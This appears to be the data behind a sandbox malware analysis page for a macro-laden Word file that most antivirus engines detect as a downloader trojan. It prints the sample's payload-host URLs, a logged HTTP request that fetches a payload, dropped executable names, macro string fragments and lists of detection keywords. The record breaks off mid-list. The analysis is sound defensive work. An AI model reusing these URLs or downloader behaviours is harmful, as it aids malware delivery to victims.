AAAElFTkSuQmCC30:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAd3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAcAAAAAD/////////////8HAAAAAA/wAA/wAAD/AAD/BwAAAAAP/////////////wcAAAAAD/VVD/8A//8AAP8HAAAAAA//D1/wCw//DsD/B3d3d3AP//UP8AAA/wAA/wAAAABwD/////////////8I///wcA/wAA/wAAD/AAD/CAAA8HAP/////////////wj///BwD/cAD/8AD/AAAP8IAADwcA/wAA/wAA/wdwD/CP//8HAP/w8P/wYP/3wP/wgAAPBwD/8AD/8AD/93D/8I///wcA//////////////CAAA8HAAAAAAAAAAAAAAAAj///BwDu7u7u7u7u7u7u4IAADwcAAAAAAAAAAAAAAAD///8HAAAATExMTED/////8AAPBwAAAMTExMTA/////////wcAAABMTExMQAAAAAAAAAAHAAAAxP/ExMDu7u7u7u7uAAAAAE9M/PxAAAAAAAAAAAAAAADPxMTExMTExMTEBwAAAAAAT0z8/ExMTExMTAcAAAAAAMT/xMTExMTExMQHAAAAAABMTExMTExMTExMBwAAAAAAAAAAAAAAAAAAAAcAAAAAAO7u7u7u7u7u7u4HAAAAAAAAAAAAAAAAAAAAAAAAD/////gAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAfAAAAHwAAAB8AAAAfAAAAPwAAAD8AAAH/AAAB/wAAAf8AAAH/AAAB/wAAAf8AAAPw==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"bf474a90606cf73b51a77b63a345087f3fa6a3fd542b99e5ec5eb718283659d4","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790271843042,"unified_at":"2026-09-24T17:44:03.042Z","metadata":{"hashes":{"sha256":"bf474a90606cf73b51a77b63a345087f3fa6a3fd542b99e5ec5eb718283659d4","sha1":"5fb9ad29bfa3335d6bc1b9297eb3cdd30f4fea7d","md5":"98193b54b54ecf607143287e906ebc0c","sha512":"1d40a4ebfd8bb5356cb599990a9a66ae854b689c452694f4d59cceec7fc793824b2ee8e94b2ff08a76be481e73004777973e216e7e433e12601b0d901a7894b8","ssdeep":"Unknown","imphash":"Unknown"},"file_info":{"file_name":"ELMIRJX.doc","file_type":["doc","office"],"file_type_id":"doc","file_size":104960,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499286785000,"last_seen":1647657494000,"last_multi_scan":1647657494000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["maldoc"]},"stats":{"av":{"malicious_count":21,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":25,"suspicious_count":6,"malicious_count":5,"total":36},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"W97M/Downloader","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Downloader]/MSOffice.Agent.dhf","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"W97M/Agent.1388019","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"VB:Trojan.Valyria.528","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"msoffice/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"W97M/Downldr","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"VB:Trojan.Valyria.528 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"VBA/TrojanDownloader.Agent.DHF trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader.VBA.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 00536d111 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan-Downloader.Script.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"W97M/Downloader.bzq","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Script.ExpKit.ertduu","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"malicious","threat_name":"W97M.TrickBot.B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/PDFDoc-J","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"malicious","threat_name":"W97M.Downloader","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"W2KM_JA.1B2CDC20","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"W2KM_JA.1B2CDC20","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.DOC.Dropper.HG","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader.O97M.Donoff","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"WINWORD.EXE\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WINWORD.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WINWORD.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$27","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"dreamybean.de\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"81.169.145.160:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros","description":"$28","origin":"Static Parser","relevance":10,"id":"static-13","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros (normalized)","description":"Normalized macro string: \"StartSearchingForSpaceOffset\"\n Normalized macro string: \"Th0Ths\"\n Normalized macro string: \"dreamybean.de/TrfHn4Vbetter57toiuydof.net/af/TrfHn4Vyoutoolgrabeertorse.org/af/TrfHn4Venzler-elektro.ch/TrfHn4\"\n Normalized macro string: \"GBAPGE.\"\n Normalized macro string: \"DisableCryImage\"","origin":"File/Memory","relevance":10,"id":"string-50","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"WINWORD.EXE\" created file \"%TEMP%\\~DFA8FA9DDDE4B4317B.TMP\"\n \"WINWORD.EXE\" created file \"%TEMP%\\~DFF8DBF6F9365469D0.TMP\"\n \"WINWORD.EXE\" created file \"%TEMP%\\VBE\\MSForms.exd\"\n \"WINWORD.EXE\" created file \"%TEMP%\\~DF0A49927F425EE3ED.TMP\"\n \"WINWORD.EXE\" created file \"%TEMP%\\~DF172756CAF3D6A45A.TMP\"\n \"WINWORD.EXE\" created file \"%TEMP%\\fremsoho8\"\n \"WINWORD.EXE\" created file \"%TEMP%\\bruhadson8.exe\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_191\"\n \"Local\\c:!users!ynfkcwp!appdata!local!microsoft!windows!temporary internet files!content.ie5!\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"RasPbFile\"\n \"Local\\WininetStartupMutex\"\n \"Local\\WininetConnectionMutex\"\n \"Local\\10MU_ACBPIDS_S-1-5-5-0-59580\"\n \"Global\\552FFA80-3393-423d-8671-7BA046BB5906\"\n \"Local\\c:!users!ynfkcwp!appdata!roaming!microsoft!windows!cookies!\"\n \"Global\\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000\"\n \"Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000\"\n \"IESQMMUTEX_0_191\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\10MU_ACB10_S-1-5-5-0-59580\"\n \"Local\\WininetProxyRegistryMutex\"\n \"Local\\c:!users!ynfkcwp!appdata!local!microsoft!windows!history!history.ie5!\"\n \"Local\\c:!users!ynfkcwp!appdata!roaming!microsoft!windows!ietldcache!\"\n \"IESQMMUTEX_0_208\"\n \"Local\\ZonesCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"WINWORD.EXE\" loaded module \"%COMMONPROGRAMFILES%\\microsoft shared\\OFFICE14\\RICHED20.DLL\" at 6BF60000","origin":"Loaded Module","id":"module-2","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"$29","origin":"API Call","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"General","name":"Opened the service control manager","description":"\"WINWORD.EXE\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"ntvdm.exe\" (UID: 00020074-00003756) was launched with new environment variables: \"WecVersionForRosebud.DCC=\"4\"\"\n Process \"ntvdm.exe\" (UID: 00020074-00003756) was launched with modified environment variables: \"Path\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"General","name":"Requested access to a system service","description":"\"WINWORD.EXE\" called \"OpenService\" to access the \"PcaSvc\" service\n \"WINWORD.EXE\" called \"OpenService\" to access the \"Sens\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"WINWORD.EXE\" called \"OpenService\" to access the \"rasman\" service\n \"WINWORD.EXE\" called \"OpenService\" to access the \"RASMAN\" service","origin":"API Call","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"WINWORD.EXE\" searching for class \"MSOBALLOON\"\n \"WINWORD.EXE\" searching for class \"MsoHelp10\"\n \"WINWORD.EXE\" searching for class \"AgentAnim\"\n \"WINWORD.EXE\" searching for class \"mspim_wnd32\"","origin":"API Call","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"ntvdm.exe\" with commandline \"-i1\" (UID: 00020074-00003756)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"$2a","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"WINWORD.EXE\" opened \"MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$2b","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"dreamybean.de/TrfHn4Vbetter57toiuydof.net/af/TrfHn4Vyoutoolgrabeertorse.org/af/TrfHn4Venzler-elektro.ch/TrfHn4\"\n Pattern match: \"http://schemas.openxmlformats.org/drawingml/2006/main\"\n Pattern match: \"http://schemas.openxmlformats.org/officeDocument/2006/bibliography\"\n Pattern match: \"http://schemas.openxmlformats.org/officeDocument/2006/customXml\"\n Pattern match: \"http://schemas.openxmlformats.org/officeDocument/2006/bibliography/\"\n Pattern match: \"ndreamybean.de/TrfHn4Vbetter57toiuydof.net/af/TrfHn4Vyoutoolgrabeertorse.org/af/TrfHn4Venzler-elektro.ch/TrfHn4RRDDom$X'V1Attribute\"\n Pattern match: \"mybean.de/TrfHn4Vbet\"\n Pattern match: \"http://{5Tahoma/uO\"\n Heuristic match: \"dreamybean.de\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"System Security","name":"Hooks API calls","description":"\"VariantChangeType@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"OleLoadFromStream@OLE32.DLL\" in \"WINWORD.EXE\"\n \"SysAllocStringByteLen@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"SysFreeString@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"VariantClear@OLEAUT32.DLL\" in \"WINWORD.EXE\"","origin":"Hook Detection","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"System Security","name":"Queries sensitive IE security settings","description":"\"WINWORD.EXE\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$2c","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"$2d","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Found URL in decoded VBA string","description":"Pattern match: \"dreamybean.de/TrfHn4Vbetter57toiuydof.net/af/TrfHn4Vyoutoolgrabeertorse.org/af/TrfHn4Venzler-elektro.ch/TrfHn4\"","origin":"File/Memory","relevance":10,"id":"string-18","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"1/64 reputation engines marked \"http://dreamybean.de\" as malicious (1% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): \"Mozilla/5.2 (Windows NT 6.2; rv:50.2) Gecko/20200103 Firefox/50.2\"","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"\"!~ VW B@k3!A@|||ox]`]x 'i0 Scripting.FileSystemObject$P. !. !$X 'FdEnter computer name$'Fkwinmgmts:\\\\ F\\root\\CIMV2$.H ' \\fremsoho X 'X $:. X .$X' P(li(On Error GoTo dee132268\" (Indicator: \"root\\cimv2\")\n \"(bjWMISe rviceGet7winmgmts:\\\\\" & & \"\\root\\CIMV2w;M Y@LAKOPPC.EathTo2Ge\"\\fremsoho\"@B@iYIWkM\" (Indicator: \"root\\cimv2\")","origin":"File/Memory","relevance":10,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with suspicious keywords","description":"Found suspicious keyword \"CallByName\" which indicates: \"May attempt to obfuscate malicious function calls\"\n Found suspicious keyword \"Write\" which indicates: \"May write to a file (if combined with Open)\"\n Found suspicious keyword \"Binary\" which indicates: \"May read or write a binary file (if combined with Open)\"\n Found suspicious keyword \"Put\" which indicates: \"May write to a file (if combined with Open)\"\n Found suspicious keyword \"Open\" which indicates: \"May open a file\"\n Found suspicious keyword \"command\" which indicates: \"May run PowerShell commands\"\n Found suspicious keyword \"sample\" which indicates: \"May detect Anubis Sandbox\"\n Found suspicious keyword \"Windows\" which indicates: \"May enumerate application windows (if combined with Shell.Application object)\"\n Found suspicious keyword \"User-Agent\" which indicates: \"May download files from the Internet\"\n Found suspicious keyword \"CreateObject\" which indicates: \"May create an OLE object\"","origin":"Static Parser","relevance":10,"id":"static-15","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains embedded string with suspicious keywords","description":"Found suspicious keyword \"Lib\" which indicates: \"May run code from a DLL\"\n Found suspicious keyword \"Windows\" which indicates: \"May enumerate application windows (if combined with Shell.Application object)\"\n Found suspicious keyword \"Environ\" which indicates: \"May read system environment variables\"\n Found suspicious keyword \"Open\" which indicates: \"May open a file\"\n Found suspicious keyword \"Binary\" which indicates: \"May read or write a binary file (if combined with Open)\"\n Found suspicious keyword \"Put\" which indicates: \"May write to a file (if combined with Open)\"\n Found suspicious keyword \"CallByName\" which indicates: \"May attempt to obfuscate malicious function calls\"\n Found suspicious keyword \"CreateObject\" which indicates: \"May create an OLE object\"","origin":"File/Memory","relevance":10,"id":"string-21","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"malicious","category":"General","name":"Document spawns new processes","description":"Document spawned a new process (macro present)","origin":"Indicator Combinations","relevance":7,"id":"summary-3","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"malicious","category":"General","name":"GETs files from a webserver","description":"\"GET /TrfHn4 HTTP/1.1\nAccept: */*\nAccept-Language: en-us\nUser-Agent: \"Mozilla/5.2 (Windows NT 6.2; rv:50.2) Gecko/20200103 Firefox/50.2\"\nAccept-Encoding: gzip, deflate\nHost: dreamybean.de\nConnection: Keep-Alive\"","origin":"Network Traffic","relevance":10,"id":"network-16","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$2e","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with keywords that indicate auto-execute behavior","description":"Found keyword \"AutoOpen\" which indicates: \"Runs when the Word document is opened\"\n Found keyword \"Document_Open\" which indicates: \"Runs when the Word document is opened\"","origin":"Static Parser","relevance":10,"id":"static-14","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains embedded string that indicates auto-execute behavior","description":"Found keyword \"Document_Open\" which indicates: \"Runs when the Word document is opened\"","origin":"File/Memory","relevance":10,"id":"string-20","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]}],"incidents":[{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]}]},"activity":{"stats":{"process_count":2,"spawned_processes_count":2,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":38,"imported_dlls_count":125,"dropped_files_count":0,"extracted_files_count":13,"files_written_count":105,"files_deleted_count":0,"registry_keys_created_count":11,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":11,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["maldoc"],"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"5926bd2aaac2edef03c72e39","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","contacted_countries":["DEU"],"submit_name":"ELMIRJX.doc","analysis_start_time":"2017-05-25T13:17:34+00:00","indicators_count":{"informative":25,"suspicious":7,"malicious":6},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"81.169.145.160","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]}],"dns_resolutions":[{"domain":"dreamybean.de","address":"81.169.145.160","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]}],"http_requests":[{"host":"dreamybean.de","host_ip":"81.169.145.160:80","url":"/TrfHn4","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /TrfHn4 HTTP/1.1\nAccept: */*\nAccept-Language: en-us\nUser-Agent: \"Mozilla/5.2 (Windows NT 6.2; rv:50.2) Gecko/20200103 Firefox/50.2\"\nAccept-Encoding: gzip, deflate\nHost: dreamybean.de\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}],"processes":[{"pid":3532,"ppid":0,"name":"WINWORD.EXE","command_line":"/n \"C:\\ELMIRJX.doc\"","sha256":"8cfb55087fa8e4c1e7bcc580d767cf2c884c1b8c890ad240c1e7009810af6736","normalized_path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE","uid":"00018306-00003532","icon":"$2f"},{"pid":3756,"ppid":3532,"name":"ntvdm.exe","command_line":"-i1","sha256":"7790fd858e5fe32d98a85d143cb656f8cce39395b2e5a0401242b1382d8733f6","normalized_path":"%WINDIR%\\System32\\ntvdm.exe","parent_uid":"00018306-00003532","uid":"00020074-00003756","icon":"$30"}],"all_imported_dlls":["usp10.dll","GKWord.dll","slc.dll","WinSCard.dll","WWLIB.DLL","propsys.dll","urlmon.dll","crypt32.dll","cscapi.dll","mswsock.dll","cfgmgr32.dll","ws2_32.dll","imm32.dll","GFX.DLL","cryptbase.dll","sechost.dll","mscoreei.dll","version.dll","dnsapi.dll","winnsi.dll","npmproxy.dll","winhttp.dll","msxml3r.dll","FWPUCLNT.DLL","msimg32.dll","msxml6r.dll","IPHLPAPI.DLL","OART.DLL","MSOINTL.DLL","rasapi32.dll","NapiNSP.dll","wkscli.dll","msvcr90.dll","wtsapi32.dll","Wldap32.dll","msxml6.dll","fontsub.dll","sspicli.dll","uxtheme.dll","MSORES.DLL","rpcss.dll","OSPPC.DLL","RpcRtRemote.dll","mlang.dll","sfc_os.dll","unidrvui.dll","comctl32.dll","msvcrt.dll","devobj.dll","scrrun.dll","SensApi.dll","winrnr.dll","sxs.dll","mscoree.dll","linkinfo.dll","msdart.dll","nsi.dll","netprofm.dll","msproof7.dll","msxml3.dll","rtutils.dll","GdiPlus.dll","msctf.dll","ALRTINTL.DLL","ole32.dll","iertutil.dll","ntshrui.dll","msi.dll","USP10.DLL","rasadhlp.dll","ntdll.dll","lpk.dll","RICHED20.DLL","WSHTCPIP.DLL","nlaapi.dll","dhcpcsvc.dll","pnrpnsp.dll","sfc.dll","mxdwdrv.dll","ntvdmd.dll","FM20.DLL","dhcpcsvc6.dll","netutils.dll","cryptsp.dll","KernelBase.dll","wininet.dll","rasman.dll","dwmapi.dll","shell32.dll","msado15.dll","winmm